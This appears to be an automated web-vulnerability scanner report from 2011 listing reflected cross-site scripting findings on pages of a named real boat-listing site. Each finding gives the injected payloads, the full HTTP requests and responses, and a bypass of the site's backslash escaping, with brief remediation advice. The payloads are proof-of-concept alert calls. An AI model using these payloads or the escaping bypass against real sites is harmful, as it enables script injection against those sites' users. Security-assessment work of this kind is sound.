GET /core/listing/advancedSearch.jsp?fromYear=2004&searchtype=homepage&Ntk=boatsEN&sm=3&toLength=32&cit=true&luom=126¤cyid=100&No=106e275'%3balert(1)//80e3cac22f8&fromPrice=0&fromLength=24&man=regulator&slim=quick&is=false&pricderange=Select+Price+Range HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 500 Internal Server Error Date: Thu, 27 Jan 2011 20:34:33 GMT Server: Apache Cache-Control: private Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html lang="en-US"> <head>
...[SNIP]... <br>'+ 'ExceptionMessage: For input string: "106e275';alert(1)//80e3cac22f8"<br> ...[SNIP]...
The value of the fromLength request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 192da"><script>alert(1)</script>5d97ec0f13a was submitted in the fromLength parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
HTTP/1.1 200 OK Date: Thu, 27 Jan 2011 19:39:45 GMT Server: Apache Cache-Control: private If-Modified-Since: Thu, 02 Dec 2010 00:46:40 GMT Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Content-Type: text/html; charset=utf-8 Content-Length: 56314
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of the fromPrice request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b6f43"><script>alert(1)</script>6c449de46a7 was submitted in the fromPrice parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
HTTP/1.1 200 OK Date: Thu, 27 Jan 2011 19:39:47 GMT Server: Apache Cache-Control: private If-Modified-Since: Thu, 02 Dec 2010 00:46:40 GMT Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Content-Type: text/html; charset=utf-8 Content-Length: 56314
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of the fromYear request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1841d"><script>alert(1)</script>3fec9f35b61 was submitted in the fromYear parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
HTTP/1.1 200 OK Date: Thu, 27 Jan 2011 19:39:28 GMT Server: Apache Cache-Control: private If-Modified-Since: Thu, 02 Dec 2010 00:46:40 GMT Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Content-Type: text/html; charset=utf-8 Content-Length: 56314
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of the man request parameter is copied into a JavaScript rest-of-line comment. The payload 68cef%0aalert(1)//7c05aa0dfe9 was submitted in the man parameter. This input was echoed as 68cef alert(1)//7c05aa0dfe9 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
HTTP/1.1 200 OK Date: Thu, 27 Jan 2011 19:39:49 GMT Server: Apache Cache-Control: private If-Modified-Since: Thu, 02 Dec 2010 00:46:40 GMT Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Content-Type: text/html; charset=utf-8 Content-Length: 56047
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of the man request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d00e4"><script>alert(1)</script>a6a0961b6e5 was submitted in the man parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
HTTP/1.1 200 OK Date: Thu, 27 Jan 2011 19:39:49 GMT Server: Apache Cache-Control: private If-Modified-Since: Thu, 02 Dec 2010 00:46:40 GMT Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Content-Type: text/html; charset=utf-8 Content-Length: 56357
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
3.335. http://www.yachtworld.com/core/listing/advancedSearch.jsp [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.yachtworld.com
Path:
/core/listing/advancedSearch.jsp
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ee845"style%3d"x%3aexpression(alert(1))"7e5e8c5eb1d was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as ee845"style="x:expression(alert(1))"7e5e8c5eb1d in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
HTTP/1.1 200 OK Date: Thu, 27 Jan 2011 19:40:30 GMT Server: Apache Cache-Control: private If-Modified-Since: Thu, 02 Dec 2010 00:46:40 GMT Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Content-Type: text/html; charset=utf-8 Content-Length: 56334
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of the sm request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 592fb'%3balert(1)//8b92116101b was submitted in the sm parameter. This input was echoed as 592fb';alert(1)//8b92116101b in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
HTTP/1.1 200 OK Date: Thu, 27 Jan 2011 19:39:32 GMT Server: Apache Cache-Control: private If-Modified-Since: Thu, 02 Dec 2010 00:46:40 GMT Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Content-Type: text/html; charset=utf-8 Content-Length: 36458
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html lang="en-US"> <head>
<title>Advance ...[SNIP]... <br>'+ 'ExceptionMessage: For input string: "3592fb';alert(1)//8b92116101b"<br> ...[SNIP]...
The value of the toLength request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4359f"><script>alert(1)</script>ece5f04902e was submitted in the toLength parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
HTTP/1.1 200 OK Date: Thu, 27 Jan 2011 19:39:43 GMT Server: Apache Cache-Control: private If-Modified-Since: Thu, 02 Dec 2010 00:46:40 GMT Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Content-Type: text/html; charset=utf-8 Content-Length: 56314
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of the boat_id request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 4f50d'%3balert(1)//fac74bd3ec2 was submitted in the boat_id parameter. This input was echoed as 4f50d';alert(1)//fac74bd3ec2 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /core/listing/boatMergedDetails.jsp?boat_id=22664764f50d'%3balert(1)//fac74bd3ec2&ybw=&units=Feet¤cy=USD&access=Public&listing_id=53549&url= HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 500 Internal Server Error Date: Thu, 27 Jan 2011 20:34:31 GMT Server: Apache Cache-Control: private Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=ISO-8859-1
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html lang="en-US"> <head>
...[SNIP]... <br>'+ 'ExceptionMessage: For input string: "22664764f50d';alert(1)//fac74bd3ec2"<br> ...[SNIP]...
3.339. http://www.yachtworld.com/core/listing/boatMergedDetails.jsp [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.yachtworld.com
Path:
/core/listing/boatMergedDetails.jsp
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 91408"><script>alert(1)</script>4cb3beca23d was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /core/listing/boatMergedDetails.jsp?91408"><script>alert(1)</script>4cb3beca23d=1 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:34:32 GMT Server: Apache Cache-Control: private Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/transitional.dtd">
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN">
<html la ...[SNIP]... <a href="/core/uk/listing/yw_listing_search_error.jsp??91408"><script>alert(1)</script>4cb3beca23d=1"> ...[SNIP]...
The value of the url request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 6a67e\'%3b5117ae8c10c was submitted in the url parameter. This input was echoed as 6a67e\\';5117ae8c10c in the application's response.
This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defense is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /core/listing/boatMergedDetails.jsp?boat_id=2266476&ybw=&units=Feet¤cy=USD&access=Public&listing_id=53549&url=6a67e\'%3b5117ae8c10c HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+T